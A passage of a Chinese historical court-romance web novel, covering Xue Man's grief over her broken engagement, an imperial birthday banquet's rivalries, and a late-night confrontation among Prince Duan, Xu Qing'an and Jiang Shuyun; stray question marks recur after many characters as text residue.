薛小姐相当识时务,没有丧失理智,做胡搅蛮缠之辈,留足体面地离开京城…… 可惜,她阴差阳错地回来了。 薛满一动不动地举着叶子?,目光平静到麻木。得知事实前的抵触悲愤,此刻竟奇异地烟消云散。世上?有那么多流离失所、食不果腹的可怜人,薛小姐只是不被端王所爱,眼睁睁看?他爱上?别人罢了,多大点?事,想开便好了。 或者忘掉,一直忘掉便好。 余晖渐收,气温陡然降低。薛满打了个寒战,手指僵冷地收不拢。 枯叶从指间摇摇飘落,她正想揉搓发红的指尖,有人已先一步握住她的手,输送源源不断的温热。 “找了你许久。”那人道:“原来你在这里。” 薛满脑中一片空白,愣愣看?着青年,他穿着绯红色官袍,长眸风流,面如冠玉,气度卓绝。 仔细瞧,他眼下浮着两抹淡青色,神态稍显疲惫。 这时候,薛满该愤愤质问:你去?哪里鬼混了,搞成这副委顿模样?又或者该幸灾乐祸:看?吧,没我?在你便萎靡不振。再?不济也该扭过?脸:她才不屑跟言而无信的家伙说话! 但她仰起脸,仅存的天光聚集到眼底,汇成眼角滑落的清溪。 许清桉用?指腹抹去?她无声的眼泪,“今日被吓到了?” 薛满摇摇头,不是。 他又问:“那是生我?气了?” 薛满再?摇摇头,也不是。 他继续问:“有谁欺负你了?七公主?皇后娘娘?端王殿下?还是宫里的其他人?” 薛满问:“非要有理由才能哭吗?不能想哭便哭?” “能,你想哭便哭,哭多久都可以。”许清桉道:“但你得知道,哭久了会肿眼睛。” “……” “肿眼睛会很醒目。” “……” “人人都会关?注你醒目的眼睛。” “……” “背后会窃窃私语……” 薛满掏出帕子?,背身擦干净眼泪,哑声道:“是薛小姐的事情。” 许清桉挑眉,“哦?她怎么?” “我?知晓她逃婚离家的原因了。” 薛满将听到的故事转述给?许清桉,末了问道:“你觉得薛小姐是个什么样的人?” 许清桉反问:“你觉得呢?” “我?觉得她很识相。” “除去?识相?” “除去?识相还是识相。”薛满催促他,“轮到你了,你快说。” 许清桉道:“我?认为她勇敢通透,临难不惧。” “你说得太好听了,那明明是她咎由自取的苦难。”薛满哼哼唧唧,“但凡她没有在那婢女死后向端王表白,求来这段不该有的婚约,她何至于逃离京城。” “你当真这么认为?” “当真,比东海珍珠还真!” 她赌气似的喊完,靠着柱子?坐下,背影倔强而寂寥。 许清桉不禁想象,当初她决意离开京城时,怀揣着何等心情? 他坐到她身旁,“阿满。” 薛满扭头,盯着柱上?朱红色的光漆,试想用?指甲将它们抠下来,能否露出被掩盖的木头本色? 许清桉问:“我?派人去?小小打听了下薛小姐,了解到她的一些过?往,你想听吗?” 薛满将想法付诸行动,用?指尖轻轻刮起红漆。 不否认,那便是想听。 许清桉道:“薛小姐是父母的独女,在她两岁时,生母因病去?世,在她八岁时,父亲因一场意外身亡,随后她的祖母也跟着病逝。没过?多久,薛小姐的祖父辞官离京,将年幼的她托付给?姑母薛皇后。薛皇后待她十分亲近,薛皇后的子?女们与?薛小姐更是手足情深。” 薛满抿抿唇,这些事情她早已知晓,一点?都不新奇。 他又道:“问起薛小姐其人时,大家的回答无一例外是夸赞,称薛小姐乖巧伶俐,乐善好施,从小便通情达理,从没见她跟任何人红过?脸。” 薛满腹诽:世上?哪有没脾气的人?薛小姐要么伪善至极,要么懦弱至极,假模假样透了。 许清桉道:“我?猜,你心底肯定在说她虚伪。” “……”你管我?心底在说什么,反正我?说的是自己,又不是别人。 许清桉道:“我?认识一人,与?薛小姐身世相似,虽家门显赫,但自幼失父,生母远走,姑母们见他孤身可欺,一门心思置他于死地。他吃过?有毒的饭菜,睡过?湿冷的床铺,掉过?寒冬腊月的湖水,甚至被遗忘在野兽环绕的猎场过?夜。” 薛满的心随之一颤,少爷说的人……莫非是他自己? “那时候的他,哭时无人安慰,怕时无人保护,生病时无人照料。时间久了,他便对一切习以为常,慢慢学会闭口不言,慢慢学会藏锋敛锷。”他平静地道:“我?想,薛小姐也大抵如此。” 薛满猛地回头,双手扶住他的肩膀,仿佛扶住当年那名茕茕孑立的男孩。 她认真许诺:“少爷,你有我?,我?会陪着你,一直一直陪着你。”马上?又撇着嘴道:“但薛小姐与?你是两码事,她生活优渥,皇后、端王、七公主待她极好,她根本没吃过?像样的苦头。” “是吗?”许清桉问:“生活优渥,便能证明她无忧无虑?有亲戚疼爱,便代表她不思念生父生母?如若真如此,她为何从小通情达理,乖巧懂事,而不像七公主般恣意妄为?” “兴许是她天生乖顺……” “又兴许是她压抑本性,刻意做一个乖顺讨喜之人。”他道:“毕竟,我?认识的阿满与?她截然不同。” 薛满想大声反驳他,以上?全是他的胡乱猜测,薛小姐只是单纯的伪善,才没有委曲求全……可干涸的眼泪重?新积蓄,不受控制地打湿脸庞。 她低泣的模样彷徨无助,像只遍寻不到出路的小兽,他轻叹一声,环住她的身子?。有着相似经?历的两个人,注定相遇,又注定心意相通。 “阿满,不要否定她。”他道:“行差踏错乃人生常事,她没有自艾自怜,有重?新开始的勇气,去?探寻人生中其他美好的可能。” 刹那间,薛满眼前闪现过?无数美好的记忆,她与?少爷,孟超与?何湘,宝姝与?牛牛们…… 她的心又暖和起来,渐渐止住眼泪,一口浓重?鼻音地秋后算账,“你说过?每日会来薛府拜访,为何连着三天没来,连句口信也没有!” “……”许清桉道:“我?每日派空青往薛府送信,你没有收到?” 薛满一想便通,“好啊,竟然有人敢拦截我?的信,等我?待会回去?,定要将那人揪出来,当着全府人的面前严肃处理。”看?往后有谁再?敢从中作梗! 许清桉望着她恢复红润的脸庞,“自你离开后起,我?便忙得不可开交,大理寺卿派给?我?许多陈年旧案,命我?彻夜翻查线索,昨日又派我?去?临县捉拿案犯,我?本想连夜赶回,但是马车意外损坏,只得在那边宿了一夜。等到中午赶回城内,宫内又来了人,命我?与?大理寺卿进宫觐见。” “你是来见圣上?的?”薛满后知后觉,“那你来找我?岂非耽误了正事?” “已经?谈完了。”许清桉道:“圣上?命我?与?大理寺卿彻查今日之事,半月内务必找出幕后黑手。” “那你可知晓,端王下午受了伤?” “嗯,听说端王的手臂被划伤,幸好箭上?无毒。” 是无毒,但流了不少血。 薛满扭捏地道:“我?向你坦白件事,他是因为我?喊了一声后分神回头,才会被暗器所伤。” 许清桉道:“端王殿下不是孩童,做事自有分寸,你无须为此愧疚。” 天空染上?无尽墨韵,远处的灯笼次第亮起,为即将降临的寒夜增添暖意。 “我?该走了。”他道。 “这么快便要走了?”她道:“我?还有话没问呢,你怎知晓我?在这里?你在御花园乱跑,被人看?见会不会大做文章?我?刚还遇到两个嚼舌根的太监,背后编排太子?与?端王的是非,叫宫女领他们去?凤仪宫受罚去?了。” “我?恰巧遇到了那名宫女。”许清桉泰然自若,“她在皇后身边当值三年,算不上?老?人,给?点?好处便能行方便。” 薛满咋舌,“你好大的胆子?,竟敢收买姑母身边的人,不怕她会反咬你一口吗?” “我?办事,你放心。”许清桉道:“明日我?会参加万寿宴,届时偷偷带阿大、阿理给?你看?,可好?” “那阿寺、阿少、阿卿呢?都是你的龟,你不能厚此薄彼。” “是我?们的龟。”许清桉纠正:“先见这两只,改天再?见其余三只,便这么说定。” “我?还有件好事要告诉你。”薛满神色雀跃,“祖父答应我?,只要我?恢复记忆,便同意帮我?解除婚约。” 恢复记忆后的阿满,还会想解除婚约吗? 许清桉想,薛老?太爷果然老?谋深算,非常人能比也。 短暂的相聚后,许清桉目送着她离开,多日来的劳累一扫而空。 真有趣,原来端王殿下的温柔体贴不单只对未婚妻,还有刻骨铭心的初恋,爱屋及乌的初恋妹妹……他想到与?阿满起争执的那名病弱女子?,没记错的话,近水楼那晚她也在。 不好好利用?,岂非辜负了那张与?姐姐一般无二的脸? 第74章 第 74 章 因万寿节之故, 薛皇后?暂未处理?那两名多嘴多舌的小太监,只将?他?们丢进慎刑司,等待事后?发落。 祈福虽小生波折, 但景帝的言辞间对端王并无不?满,相反, 他?命人送了?流水般的珍稀药材、补品到端王府,而对亲自持剑相护的太子, 景帝只短短一句“我儿?孝勇”。 景帝对两子截然不?同的态度, 叫众人心中百转千回。古往今来,太子虽为储君,但通往尊位的道路崎岖,常有后?来者居上之事, 往近了?说, 景帝便是个?活生生的例子。 一时间,朝中静水深流。 万寿节如期到来, 当日起,全朝公休三日,各地举行?庆典活动, 朝野同欢, 四品以上官员更许进宫参宴献礼。 夜幕降临,街道灯火通明?,皇城如一颗灿烂辉煌的明?珠伫立其间。冬季寒冷, 花草凋零,宫内却温暖如春, 四处可见盛放的鲜花, 姹紫嫣红,如梦如幻。 宴厅里座无虚席, 官员们衣冠楚楚,满面恭敬。嫔妃们珠翠罗绮,光彩照人。最?上首的景帝不?怒自威,薛皇后?雍容华贵,犹如日月般交相辉映。 往下依次是帝室之胄、王侯将?相、文武百官,令人瞩目的是,今年有两位稀客也参加了?万寿宴,一位是孤傲不?群的老恒安侯,一位是辞官多年,隐居在外的前任宰相兼国丈薛科诚。 两位重?量级老臣比邻而坐,薛科诚左边是端王殿下,老恒安侯右边是恒安侯世子许清桉,落在外人眼里,两位老的深藏不?露,两位小的风华正茂。 他?们正对面的女席位,坐的恰好是薛满与裴唯宁。薛满本不?该坐在这样显眼的位置,架不?住裴唯宁死缠烂打,声称上头的皇姐们都已出嫁,独剩她?贴着蒋芸娘坐,万一两人在宴席间吵闹,总该有个?劝架的不?是?薛皇后?对此没有意见,薛满是将?来的端王妃,坐哪处都合乎情理?。 礼官唱完祝词,领众人向帝后?行?大礼,景帝颔首微笑,赐众人饮酒,宴席正式开始。 八音迭奏,歌舞升平,琼筵玉宴,觥筹交错。 昨日的波澜仿佛只是一场错觉。 裴长旭心不?在焉,视线穿过翩翩起舞的舞者,观察薛满的一言一行?。她?与小宁在说话,神色正常,全无他?想?象中的悲愤或强颜欢笑。 ……不?该这样的。 他?隐约觉得有哪里出了?差错,未等细想?,余光瞥见许清桉有动作。 隔着老恒安侯与薛科诚,许清桉朝他?举起酒杯,“殿下,祝您的伤早日康复。” 裴长旭惜字如金,“多谢。” 许清桉不?介意他?的冷淡,昨晚见过阿满后?,他?命空青等人连夜探查南溪别院,获得了?许多有用的线索。待宴会结束,便会为端王奉上一份大礼,以报前几?日端王对他?的“关照”之恩。 两位小的暗中较劲,两位老的也不?甘示弱。 老恒安侯道:“我要是你,一介白身的臭老头,绝没脸出现在万寿宴中。” 薛科诚道:“恒安侯老迈糊涂,不?记得我儿?是当今皇后?亦正常。” 老恒安侯道:“你如今一无官职,二无军权,更该夹紧尾巴做人,少给皇后?娘娘招惹是非。” 薛科诚道:“依薛某来看,满朝文武皆见精识精,唯有一人倚老卖老,嘴里牙多。” 按理?说,老恒安侯该适可而止,但他?偏要问:“姓薛的,你在骂谁多嘴多舌?” 薛科诚道:“你。” 老恒安侯:“……”等宴席结束,他?定要找个?地方?痛殴薛老匹夫,新仇旧怨一起算! 与此同时,女席上的裴唯宁正对薛满叽叽喳喳。 “阿满,你尝尝这道鱼,鲜嫩细腻,一点腥味都没有。” “阿满,你吃块桂花糕,还是热的,入口即化,回味无穷呢。” “阿满,你再?喝口血燕银耳羹,补气?养血,对女子最?好不?过……” 一旁的太子妃蒋芸娘心有不?悦,薛满还未嫁入皇家?,便被安排在如此显眼的位置。而裴唯宁身为公主,对太子妃爱答不?理?,对将?来的端王妃却殷勤至极……结合昨日发生的一切,她?深深为太子,为整个?东宫感到不?平。 太子才是储君,是继承正统的唯一人选! “七妹妹。”蒋芸娘慢声开口:“今日是国宴,自有宫女替阿满妹妹布菜,你不?妨专心欣赏歌舞,品尝美味佳肴。” 裴唯宁闻言,皮笑肉不?笑地道:“不?劳太子妃操心,本公主刚好不?想?看歌舞表演,只想?给表妹布菜。” 说罢,她?挑衅似的拿起酒盏,亲自给薛满斟酒,“阿满,这是我上回说的缥玉酿,味道好极,但你只能喝一杯,再多便容易醉。” 薛满道过谢,顺着蒋芸娘的话道:“好了?,我吃的喝的都够了?,你不?用再?管我,安心顾好自己。” 裴唯宁撒娇:“我好久没跟你一起出现,当然得亲密些,叫旁人知道我们姐妹感情依旧,丁点不?容第三者插足。” 此话一出,蒋芸娘差点挂不住笑。数日前,她?曾在花园中与刘五妹妹私语,不?小心被裴唯宁撞个?正着。她当时便称端王不会纳妾,此生只娶薛满一人。 薛满何德何能,能得到端王和裴唯宁的偏心爱护?而她的刘五妹妹,不?过想?做端王的侧妃而已,却被裴唯宁狠狠奚落,又被其父连累到要给人做妾…… 蒋芸娘的语气?渐重?,“七妹妹此言差矣,你身为皇家?公主,代表的是皇室颜面。莫说阿满还未嫁给端王,便是真成了?端王妃,你们之间该遵守的礼仪也必不?可少。” 裴唯宁不?耐,“这是我与阿满的事情,母后?尚且不?多管,何须你来指指点点?” “母后?执掌六宫,自无暇注意这些小事。我身为太子妃,是你的长嫂,便该替母后?约束你的一言一行?,否则坏了?名声,如何寻得如意郎君……” 蒋芸娘一脸矜持不?苟,言语间强调女德女诫,教育裴唯宁该如何如何遵守礼教,不?能丢皇家?的脸,免得将?来找不?到合意的亲事。 ……薛满总算知晓裴唯宁为何与蒋芸娘不?对盘,裴唯宁随性恣意,而蒋芸娘满口陈言肤词,像个?说教的老先生,恨不?得将?裴唯宁涂上泥巴,丢进祠堂里跟老祖宗们摆在一起。 这两个?极端聚到一起,能合得来才怪! 眼看裴唯宁被激的火急火燎,马上要掀桌而起,薛满忙扯住她?的袖子,朝蒋芸娘笑眯眯地道:“太子妃所言甚是,我与公主谨记在心,往后?定倍加注意言行?。” 裴唯宁瞪圆眼睛,难以置信地看着她?:阿满,你怎么能向蒋芸娘服输! 薛满又扯扯她?的袖子,示意她?冷静。 蒋芸娘难得占了?回上风,还未品尝胜利的喜悦,便听薛满对裴唯宁道:“昨日我听太子妃跟姑母谈话,得知太子哥哥的侧妃有了?身孕。你我身为妹妹,便该备份厚礼送去东宫,祝贺太子哥哥多子多福。” 裴唯宁立即笑容满面,“你说得对,迄今为止,太子只有茹楠与茹嘉两个?女儿?。若侧妃能替太子哥哥添个?儿?子,太子哥哥定然喜出望外。” “无论女儿?或儿?子,都是太子哥哥的骨肉,他?会一视同仁地对待。” 蒋芸娘险些咬碎一口银牙!怎么能一视同仁!侧妃是妾!妾出的孩子不?配与茹楠、茹嘉相提并论,即便生的是儿?子也不?配! 比起裴唯宁的咄咄逼人,蒋芸娘更厌恶薛满的行?若无事,但她?深知东宫羽翼未丰,她?需要忍辱负重?,等待将?来的扬眉吐气?。 薛满见她?的面色由阴转晴,露出温柔一笑,“阿满妹妹所言极是,殿下喜欢孩子,无论男女都视如珍宝。” “……”薛满对她?的情绪调节能力佩服至极。 宴席进行?到献礼这一步,继皇子皇女们后?,老恒安侯领着恒安侯世子上前献礼。众人好奇地盯着许清桉,许多人久闻大名,却没见过他?的真容,此刻一见,只叹天底下竟有这般出众的青年。可惜对方?生母身份成谜……但长成这样,有些事好像也不?是不?能容忍。 蒋芸娘看清恒安侯世子的相貌,瞬间的惊艳后?,便想?起刘五那日的切切哭诉。外室子……家?世雄厚的外室子……样貌惊为天人的外室子……再?怎么优秀,都会被人暗地嘲笑是外室子。 她?抿唇一笑,对裴唯宁道:“七妹妹,这位便是恒安侯世子,原先要与刘五小姐交换八字的那位。” 裴唯宁抬头,飞快地瞥了?某人一眼。 “刘五小姐运气?差,无缘嫁给这等青年才俊,也不?知哪家?的妹妹有这等福气?,能做恒安侯府将?来的女主人。”蒋芸娘像是忽然想?到什么,掩唇笑道:“说起来,七妹妹今年十七,与恒安侯世子年龄相当,门当户对,称得上是男才女貌。” 蒋芸娘撒了?一把软钉子出去,等待裴唯宁踩上后?口不?择言,届时再?派人将?事情传出去,为七公主的刁蛮无状添柴加薪。 出人意料的是,裴唯宁灌了?口酒,面色古怪的沉静。 蒋芸娘等了?等,仍未等到裴唯宁的反击,正遗憾对方?长了?脑子时,听到薛满道:“小宁的婚事自有姑母操心,恒安侯世子更轮不?到太子妃乱点鸳鸯谱。太子妃若是清闲,不?妨替身边的婢女们相看适龄青年,免得错过花期,只能一辈子留在东宫。” 薛满成功戳中蒋芸娘的心事,她?想?起那剩余的七个?婢女,个?个?翘首以盼,等待被送入太子账中的一日。而那三个?已经爬上床的,更是一副狐媚子模样,连白日都明?里暗里地勾引殿下! 她?握紧酒盏,用尽全身力气?咽下嫉恨,“多谢阿满妹妹的提醒,她?们的确到了?该出宫的年纪。” 薛满说了?句不?客气?,太子妃兴风作浪在先,她?反击是情有可原。不?过话说回来,为何太子妃替少爷与公主说亲是兴风作浪? 薛满兀自疑惑,便没注意到裴唯宁的双重?震惊。 第一重?震惊是在蒋芸娘提及她?与许清桉时,她?不?仅没有贬低对方?,反倒有一丝丝的窃喜。要知道在半年前——不?,便在一个?月前,母后?向她?提起许清桉时,她?除去嫌弃还是嫌弃。可现在却……却欣喜能与他?男才女貌。 第二重?震惊是阿满的态度,难得见她?出言整治蒋芸娘,为的竟是许清桉的婚事。以阿满对许清桉的维护程度,她?绝非嫌弃许清桉出身低微配不?上公主,而是单纯不?喜蒋芸娘的乱点鸳鸯。 阿满不?喜她?与许清桉凑成一对。 裴唯宁心乱如麻,怎么会,她?对许清桉……许清桉对阿满……阿满对许清桉…… “阿满。”她?心情复杂,刻意凑近薛满打趣:“你往对面看,三哥总在看你呢。” “嗯。”薛满敷衍笑笑,面前的美酒佳肴顿时索然无味。单从端王与婢女的故事来讲,薛小姐的存在纯属多余。但从薛小姐的角度,设身处地想?想?,她?便觉得委屈难言。 明?明?……然而……最?终……罢了?。 她?对裴唯宁道:“你之前想?告诉我的事,端王已经全部告诉我了?。” 裴唯宁惊讶,“三哥全部告诉你了??” 薛满点头,“嗯。” 裴唯宁试探:“南溪别院……” 薛满道:“我知晓,里头住的不?是江诗韵,而是她?的胞妹江书?韵。” 裴唯宁紧张地咽了?咽口水,“那你,你还生三哥和我的气?吗?” 薛满摇摇头,“都过去了?。” 闻言,裴唯宁的反应与裴长旭一样,“你,你不?想?打我们,不?想?骂我们吗?” 薛满道:“你们是亲王公主,打了?你们要被下狱的。” 裴唯宁道:“不?,我们许你打,没人敢押你进大牢。” 薛满道:“那我也不?打,你们是我的表兄表姐,是我从小一起长大的亲人。” 裴唯宁觉得她?这话说的没毛病,但听到耳朵里总觉得生分,好比她?跟三哥失去了?叫阿满动怒的本领,今后?便只是她?拥有血缘关系的亲戚。 宴会人多嘴杂,裴唯宁不?敢多说,等结束后?拉着薛满道:“今晚我想?去你府上住,可好?” 薛满想?到昨日她?天没亮便起来陪自己梳妆,松口道:“好吧,只今天一晚。” 一晚也够她?们姐妹说上许许多多的私话。 薛科诚今晚被景帝留在宫中叙旧,薛满、裴唯宁与薛皇后?道完别,前往宫门乘坐马车。 裴长旭已等候许久,见到薛满逐渐靠近的身影后?,眸光忽明?忽暗。 “三哥!”裴唯宁朝他?招手,“你等了?很久吗?” 裴长旭道:“还好。” 裴唯宁关心道:“你身上还有伤,怎么不?去车上坐着?” 裴长旭道:“站一小会,不?碍事。” 他?看向薛满,薛满没像之前那样刻意无视或充满敌意,微笑着开口:“表哥也要回府吗?刚好,能与我们一道走。” 礼貌,客套,充满距离。 裴长旭闭了?闭眼,忍住内心一阵阵的悸痛,“阿满,我有话要与你说。” “该说的话都说清楚了?,表哥无需担忧,我不?会再?捣乱了?。”薛满真心实意地道:“我与小宁一样,都是你的好妹妹。” 谁要她?做妹妹?! 裴长旭一把捉住她?的手腕,“你随我上马车。” “表哥,你抓疼我了?。”薛满平静地道:“请你松手,好吗?” 裴唯宁立刻上前阻拦,“三哥,隔墙有耳,有什么话不?妨等回去再?说。” 裴长旭安静一瞬,转身上了?马车。薛满揉着酸胀的手腕,瞪着他?妥协的背影,难得有了?几?分痛快。 兔子尚且不?吃窝边草,端王既然吃了?,便该做好被人戳心窝子的准备。 除非他?解除婚约,跟她?彻底划清界限。 薛满满腹盘算地坐到车里,随后?想?起一件事:少爷答应今晚给她?送龟龟们,龟呢,龟在何处? 第75章 第 75 章 深夜, 寒风刺骨,马蹄踏在冷硬的青石板上,声?音异常响亮。 隔着一条街, 竹香便听到久违而熟悉的马蹄声?,她曾趴在南溪别院的门?上, 偷听过整整半年。那是端王府的马车在靠近,意味着殿下到南溪别院探望小姐…… 此刻, 她们不?在南溪别院, 而是站在端王府的正门?口。 江书韵衣着单薄,发髻凌乱,玉白的脸庞染着些许灰烬,好似一株失去依靠的菟丝花, 风一吹便要摔倒。 竹香亦是灰头土脸, 冷得双手抱臂,“小姐, 是端王殿下的马车,他回来了!” 江书韵轻咳几声?,“待会见到殿下, 你不?用添油加醋, 照实说便是。” 竹香重重点头,“好,奴婢知道了!但婢女听着, 好像不?止一辆马车过来?” 江书韵望向?远处,果真见到好几辆马车正朝她驶来, 为首的车夫正是侍卫杜洋。 竹香双手拢在嘴边, 正要放声?喊人,又在江书韵的制止中住口。等杜洋驾车到跟前了才下跪, 边磕头边哭,“殿下,南溪别院着火了,后院被烧得精光。小姐险些丧命,与?大小姐一样消香玉殒……” 杜洋眉头紧皱,看看涕泗横流的竹香,再?看看楚楚可怜的江书韵,“殿下,江姑娘与?婢女正跪在外头。” 裴长旭没?说话?,反倒是后头的马车有?了动?静。 裴唯宁跳下马车,上下打量着江家妹妹,满脸俱是嫌弃。 居心叵测的江诗韵,惺惺作态的江书韵,这对?姐妹没?一个好的! 裴唯宁挖苦道:“江家的教养真是一脉相承,姐姐从前跪在我们面前求收留,妹妹如今跪在端王府前,必是又想请端王收留?” 江书韵大概能猜到对?方的身份,轻声?道:“今日是万寿节,客栈公休三日,不?肯接待新客。书韵实在无处可去,才想请端王收留一晚。” 裴唯宁冷笑?,“同样的招数,你姐姐使过一遍,你也要照模照样使第二遍,真是不?嫌老套!” 江书韵道:“南溪别院失火是事实,小姐若是不?信,大可使人去调查清楚。” “好一张伶牙俐嘴,比起江诗韵有?过之而无不?及,可惜我们上过——” “小宁。”后头的马车传出一道女声?,“这是三哥的事情,等他处理便是。你快上来,陪我去早些休息。” 话?音刚落,裴长旭便掀帘下地,大步走到薛家马车前,“阿满,下来。” 薛满不?下来,她凭什?么下来。 裴唯宁见裴长旭要上车,伸手想拦却被一把推开。裴长旭进入车内,见薛满纹丝不?动?地坐着,愈加面无表情。 薛满十分善解人意,“表哥,不?到万不?得已,江家妹妹不?会半夜来求助你。她是个柔弱的姑娘,刚刚死里逃生,此时最?需要关怀呵护。” 她自认为点到为止,但裴长旭沉眸似渊,涌动?着风暴般的怫郁。 她识相地改口:“天色已晚,我该早些休息,你也该早些——”诶诶诶!你抓我手臂干吗!显得你力气大是吗! 裴长旭不?顾她的挣扎,强势地牵着她下车。 杜洋见状别开脸,其余人也默契地垂头。竹香不?敢大声?喘气,江书韵咬紧下唇,眸中泪光点点,试图唤回他的注意力。 “殿下……” “三哥!”裴唯宁急得跺脚,“你伤口又出血了!” 薛满这才闻到阵阵血腥气,连忙撤回挥舞的小拳头,“裴长旭,你今后想当?独臂侠吗!” 裴长旭道:“若成了独臂侠,能得到表妹垂怜,我亦甘之如饴。” “……”薛满骂道:“疯了,你绝对?疯了!” “即便是疯,我亦是为表妹而疯。” “欲加之罪何患无辞,裴长旭,你赶紧松开我!” “表妹再?乱动?,我不?介意再?疯一些。” “……” 裴长旭拉着薛满走到江书韵的面前,居高临下地道:“你姐姐曾是我表妹的婢女,你可知晓?” 江书韵哽咽道:“回殿下,我……我知晓。” 裴长旭道:“表妹是你江家的恩人。” 江书韵道:“我与?姐姐一般,对?薛小姐感激不?尽。” 裴长旭道:“两年前,我与?表妹订下婚约,她是我将来的妻子,唯一的端王妃。” 江书韵强颜欢笑?,“殿下……殿下为何要与?我说这些?” 裴长旭道:“从今往后,不?许你出现在她的面前。” 江书韵仰起脖颈,一串串晶莹的泪珠滑落,跌到青石板上,激不?起任何回响。 “这是我第二次跟薛小姐见面,先前我不?知小姐身份,无意间冒犯了她,还望她大人有?大量,原谅我的不?是。我自知身份低微,从没?想过污薛小姐的眼。但我不是姐姐的傀儡替身,是个活生生的人,有?自己?的思想和主见……” “我所做一切,皆因答应你姐姐照顾你,帮你找个好人家托付终身。”裴长旭道:“你姐姐的夙愿将了,往后我不?会再?见你。” 江书韵跪伏在地,纤薄的脊背不断战栗,哭声?细碎哀婉。 裴长旭置若罔闻,对?薛满道:“阿满,我与?你自小相识,情分非比寻常。莫说江书韵,便连江诗韵在世?也不?能与?你相提并?论。” 薛满一时五味杂陈,女子爱人崇尚全心全意,而男子的心似乎能分成很多块,这里住着逝去的爱人,那里存着青梅竹马的未婚妻。今日是活着的人占上风,明日呢,逝去的感情是否又叫他愁肠百结? 他的心住过旁人,薛小姐不?想要了。 她朝裴唯宁轻抬下巴,瞟了眼林何举。裴唯宁难得开窍,读懂她未出口的话?语。 ……她说叫林何举把三哥打晕。 裴唯宁左右为难,一个是亲哥,一个是亲表妹,她该帮哪个才好?眼见三哥失去理智,阿满不?情不?愿,她终是偏向?姐妹,正要叫林何举动?手时,有?人却抢先一步。 一粒石子凌空袭来,击中裴长旭的手臂,他闷哼一声?,手臂陡然松动?。薛满见机挣脱,朝远处出现的熟悉马车跑去。 裴唯宁顺着方向?望去,见到了许清桉的护卫,许清桉的马车,和刚下地的许清桉。 薛满向?着他跑,他亦在迎向?她。 “少爷,我的龟呢!” “龟在这。” 许清桉拿出藏在背后的小篮子,递到薛满手中,薛满借看龟的功夫,对?许清桉低声?道:“裴长旭疯了。” 许清桉道:“疯得厉害吗?” 薛满道:“我瞧挺厉害,甲乙丙丁戊……大概疯到丁的程度。” 裴唯宁加入对?话?,“许清桉,你怎会来这里?” 又听裴长旭喜怒不?明,“许少卿总爱出现在不?恰当?的时候。” 许清桉道:“下官奉圣上之命,调查石窟祈福刺杀一事,此番是来向?殿下探听当?日细节。” 裴长旭道:“既是来找本王,你为何不?到本王面前?” 许清桉当?着众人面,动?作亲昵地整了整薛满的颊边碎发,随即对?她耳语:“你先回去吧,这里由我来处理。” 薛满痛快答应,在空青的护卫下,一溜烟地跑向?薛府大门?。 裴唯宁本想跟着跑,犹豫片刻后,站在原地没?动?。 许清桉行至裴长旭的面前,扫向?他染血的衣袖,“殿下的手臂在流血。” 裴长旭道:“许清桉,本王的耐心有?限。” 许清桉道:“等殿下方便时,下官再?来拜访殿下。” “阿满是本王的未婚妻。”回想他方才的动?作,裴长旭恨不?得斩了他的手,“本王舍不?得为难她,不?代表能容忍你得寸进尺。” 许清桉却道:“殿下身后的姑娘一直在哭,殿下不?回头看看吗?” 裴长旭道:“许少卿年轻有?为,前途无量,想与?你定亲的姑娘能从太清门?排到城外。倘若你挑得眼花,本王会请父皇出手相助。” 许清桉笑?了笑?,“殿下与?其操心下官的婚事,不?如先管管身后的姑娘。她又哭又跪半天,看起来随时会晕倒。” 话?音刚落,杜洋道:“殿下,江姑娘晕过去了。” 裴长旭绷紧下颚,终是维持住风度,回身走向?王府,“该怎么处置便怎么处置,今后她的事情,无须禀到我面前。” 竹香扑上前,跟在他脚后磕头,“殿下,求您别抛弃小姐,小姐没?了您会死的。呜呜呜,小姐根本不?想嫁人,她宁可陪伴青灯古佛,也不?愿嫁给不?喜欢的人过一辈子……” 裴长旭道:“杜洋,去外地寻座女寺。” 竹香登时傻眼,这跟她想的不?一样。端王殿下该怜惜小姐的深情,重新找个地方安置照顾小姐才是……完了,一切都完了! 端王府的朱门?沉重,打开又闭合,仿若一道她们永远无法跨越的天壑。 杜洋命人将她们扶到马车上,离开前,深深看了许清桉一眼,“许少卿,还请你好自为之。” 许清桉不?以为然,该好自为之的人何止他一个?今晚阿满亲眼见证端王与?江家女的纠缠,以她眼中揉不?进沙子的性格,往后对?端王只会更敬而远之。 他双手抄袖,吩咐空青去驾马车,对?一旁的裴唯宁视若无睹。 他总是对?她视若无睹,无视她高贵的身份,无视她貌美的容颜,无视她的刻意招惹。 “许清桉。”裴唯宁挡在他身前,“你喜欢阿满,是吗?” 许清桉道:“是。” “……”裴唯宁力求镇定地道:“阿满是、是三哥的未婚妻,她是亲王的未婚妻!” “那又如何?” “论身份地位,你恒安侯世?子比不?过端王尊贵。论感情深厚,你与?阿满只相处了半年,远远不?如三哥与?阿满十几年的情分。”她竟和颜悦色起来,“你没?见过从前的阿满,她自懂事起便爱慕三哥,喜怒哀乐全围绕着三哥展开。三哥喜欢江诗韵时,她难过得几乎死掉。三哥接受她的表白时,她又喜极而泣,即便三哥记挂着一个死人,她也能够包容。” “所以,公主的结论是?” “你抢不?过三哥的。”裴唯宁苦口婆心,“放弃阿满吧,成全她和三哥,这对?所有?人都好。” “所有?人里,也包括公主吗?” “……” “在我之前,公主没?见过对?你疾言厉色,不?屑一顾之人。于是觉得愤愤不?平,觉得丢了颜面,打定主意要驯化我,让我在你面前俯首称臣。” “我是公主。”裴唯宁强调:“你本该对?我俯首称臣。” “起初,公主只是单纯的讨厌我,但随着过多的关注,公主会心随眼动?,不?自觉地投入时间精力,妄图参与?我的生活,干涉我的言行举止。” “……” “不?知不?觉间,公主的情绪会被我牵动?,想从我身上得到某些回应。若合你心意,你便赏我给个笑?脸,若不?合你心意,你便变本加厉,用权势逼迫我低头。” “你胡说!”裴唯宁立即反驳:“本公主不?是仗势欺人之辈!” “公主生来尊贵,有?帝后宠溺,有?端王撑腰,称得上是随心所欲,无往不?利。你的生活缺乏挑战,遇到了我,便将我视为挑战,誓要一决高下。” “……” “公主选错了人,我不?愿成为公主的挑战。” 裴唯宁眼也不?眨地凝视着他,撇去外间的流言蜚语,他生得那样好,气度一骑绝尘。 “若是我承认,我有?一些些,只有?一些些对?你感兴趣呢?” “我对?公主没?有?,如今没?有?,将来也不?会有?。” 裴唯宁眼里的光逐渐黯淡,“你们都喜欢阿满。” “看来公主不?喜欢阿满。” “我当?然喜欢她!” “因为她值得人喜欢。”许清桉问:“对?吗?” 对?。 